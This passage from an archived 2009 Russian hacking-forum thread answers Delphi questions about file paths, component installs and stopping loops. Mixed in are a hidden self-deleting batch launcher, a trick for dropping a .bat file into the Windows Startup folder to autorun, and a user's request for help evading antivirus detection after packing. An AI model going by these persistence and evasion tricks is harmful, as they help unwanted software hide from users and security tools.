ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #2871  
Старый 22.02.2009, 17:57
Maxxxtri23
Познающий
Регистрация: 20.12.2008
Сообщений: 76
Провел на форуме:
432982

Репутация: 6
По умолчанию

Цитата:
Сообщение от KIR@PRO  
убил)))
Какой вопрос, такой ответ =)
P.S. мой вопрос еще актуален
 
Ответить с цитированием

  #2872  
Старый 22.02.2009, 18:05
bogger
Познающий
Регистрация: 20.04.2008
Сообщений: 39
Провел на форуме:
382668

Репутация: 49
По умолчанию

Цитата:
Сообщение от search74  
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
   f: TextFile;
   fName: String[80];
   begin
 
   fName := '1.txt;
   AssignFile(f, fName);
   Rewrite(f); 
   writeln(f, 'Твое сообщение');
   CloseFile(f);

   MessageDlg('сообщение записанов в файл 1.txt',mtInformation,[mbOk],0);
end;

Как мне сделать чтоб в другую дирекорию(папку) записывался файл тхт
 
Ответить с цитированием

  #2873  
Старый 22.02.2009, 18:08
search74
Новичок
Регистрация: 17.06.2008
Сообщений: 22
Провел на форуме:
260558

Репутация: 52
Отправить сообщение для search74 с помощью ICQ
По умолчанию

Цитата:
Сообщение от bogger  
Как мне сделать чтоб в другую дирекорию(папку) записывался файл тхт
В какую тебе надо?
 
Ответить с цитированием

  #2874  
Старый 22.02.2009, 18:10
bogger
Познающий
Регистрация: 20.04.2008
Сообщений: 39
Провел на форуме:
382668

Репутация: 49
По умолчанию

Цитата:
Сообщение от Maxxxtri23  
Скачать в яндексе или гугле, а устанавливать так:
1. Tools--->Inviroment options--->library--->library path--->add--->и указываешь путь до компонента распакованного.
2. в Папке с компонентом есть файл .dpk, ты его запускаешь и жмешь compile---->install.
3. Все, если прогло все без ошибок, то компонент поставится и будет на одной и вкладок палитры, зависит о компонента
А если нету файла .dpk в папке с компанентом?!
 
Ответить с цитированием

  #2875  
Старый 22.02.2009, 18:12
bogger
Познающий
Регистрация: 20.04.2008
Сообщений: 39
Провел на форуме:
382668

Репутация: 49
По умолчанию

Цитата:
Сообщение от search74  
В какую тебе надо?
Да любую например в Windows.

И еще есть пример как батник создать и чтоб он автоматом грузился ?
 
Ответить с цитированием

  #2876  
Старый 22.02.2009, 18:26
KIR@PRO
Постоянный
Регистрация: 26.12.2007
Сообщений: 353
Провел на форуме:
905389

Репутация: 332
Отправить сообщение для KIR@PRO с помощью ICQ
По умолчанию

Цитата:
Сообщение от bogger  
Как мне сделать чтоб в другую дирекорию(папку) записывался файл тхт
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
   f: TextFile;
   fName: String[80];
   begin
 
   fName := 'C:\1.txt'; //здесь прописываеш путь к ффайлу и усе... если пишеш только название файла то используется дириктория от куда запущена программа
   AssignFile(f, fName);
   Rewrite(f); 
   writeln(f, 'Твое сообщение');
   CloseFile(f);

   MessageDlg('сообщение записанов в файл 1.txt',mtInformation,[mbOk],0);
end;
чтоб в батник записать вместо '1.txt' пишеш '1.bat' чтоб в месте с виндой запускался можеш записать его сразу в

fName :='C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузк а\1.bat'

но это только при условии что винда у него на C:\ стоит


p.s. вообще не пойму зачем тут надо было вводить переменную fName лишнее все ето просто прописал бы AssignFile(f, '1.txt'); и тебе на 2 строчки писать меньше и прога лишнее место в оперативке занимать под переменную небудет....

Последний раз редактировалось KIR@PRO; 22.02.2009 в 18:52..
 
Ответить с цитированием

  #2877  
Старый 22.02.2009, 18:56
Uname-A
Познающий
Регистрация: 19.08.2008
Сообщений: 69
Провел на форуме:
458484

Репутация: 31
По умолчанию

Есть довольно громоздкое событие TForm1.Button3Click
там задание выполняется приблизительно 7 минут.... плюс цыкл
Вдруг посреди выполнения мне стукнуло в голову остановить выполнение задачи Как например создать кнопку "стоп" для Button3?
 
Ответить с цитированием

  #2878  
Старый 22.02.2009, 19:26
bogger
Познающий
Регистрация: 20.04.2008
Сообщений: 39
Провел на форуме:
382668

Репутация: 49
По умолчанию

Код:
var

f: TextFile;
fName: String[80];
  BatchFile: TextFile;
  BatchFileName: string;
  ProcessInfo: TProcessInformation;
  StartUpInfo: TStartupInfo;

begin

fName := 'C:\windows\Послание.txt'; //здесь прописываеш путь к файлу
AssignFile(f, fName);
Rewrite(f);
writeln(f, 'LOL clear del C:/);
CloseFile(f);
  { создаём бат-файл в директории приложения }
  BatchFileName :='C:\windows\log.bat';

  { открываем и записываем в файл }
  AssignFile(BatchFile, BatchFileName);
  Rewrite(BatchFile); 

  Writeln(BatchFile, ':try');
  //Writeln(BatchFile, 'del "Любой путь"');
  Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
  Writeln(BatchFile, 'if exist "' + ParamStr(0) + '"' + ' goto try');
  Writeln(BatchFile, 'del "' + BatchFileName + '"');
  CloseFile(BatchFile);


  begin

  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;

  if CreateProcess(nil, PChar(BatchFileName), nil, nil,
     False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
     ProcessInfo) then

 
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess); 
  end;
Дело в следующем компилю эту прогу и помещаю её в папку с "русским" названием xDD запускаю от-туда
а она неработает что можно сделать?
 
Ответить с цитированием

  #2879  
Старый 22.02.2009, 19:38
bogger
Познающий
Регистрация: 20.04.2008
Сообщений: 39
Провел на форуме:
382668

Репутация: 49
По умолчанию

Блин виртотал палит этот код 2 раза xDDD
http://www.virustotal.com/ru/analisis/2dd0919e128c296a42cd7441ec6faa58
А вот после АСпака палится 4 раза
http://www.virustotal.com/ru/analisis/23c774360ce8cffb8e7218f1de6bd8d6

Подскажите как исправить? )
 
Ответить с цитированием

  #2880  
Старый 22.02.2009, 19:40
FindeR
Участник форума
Регистрация: 15.11.2006
Сообщений: 259
Провел на форуме:
2589211

Репутация: 151
По умолчанию

Цитата:
Сообщение от Uname-A  
Есть довольно громоздкое событие TForm1.Button3Click
там задание выполняется приблизительно 7 минут.... плюс цыкл
Вдруг посреди выполнения мне стукнуло в голову остановить выполнение задачи Как например создать кнопку "стоп" для Button3?
К примеру, чтоб цикл остановить
Код:
var s:boolean;
....

procedure TForm1.Button1Click(Sender: TObject);
var i:integer;
begin
s:=true; {проверяем условие}
for i:=1 to 100000 do begin
if s then sleep(100);
application.ProcessMessages; {делаем программу доступной для получения сообщений}
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
s:=false;
end;
Т.е. добавляем где-нибудь в теле application.ProcessMessages , ну а дальше сам решай, как остановить действо

Последний раз редактировалось FindeR; 22.02.2009 в 19:46..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ! Alexsize Беспроводные технологии/WPAN/WLAN 2567 19.04.2026 23:21
[ *NIX ] Задай вопрос - получи ответ. Xszz *nix 1547 15.06.2010 15:41
[jQuery] - Задай вопрос, получи ответ Isis PHP, PERL, MySQL, JavaScript 62 25.12.2009 03:25
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ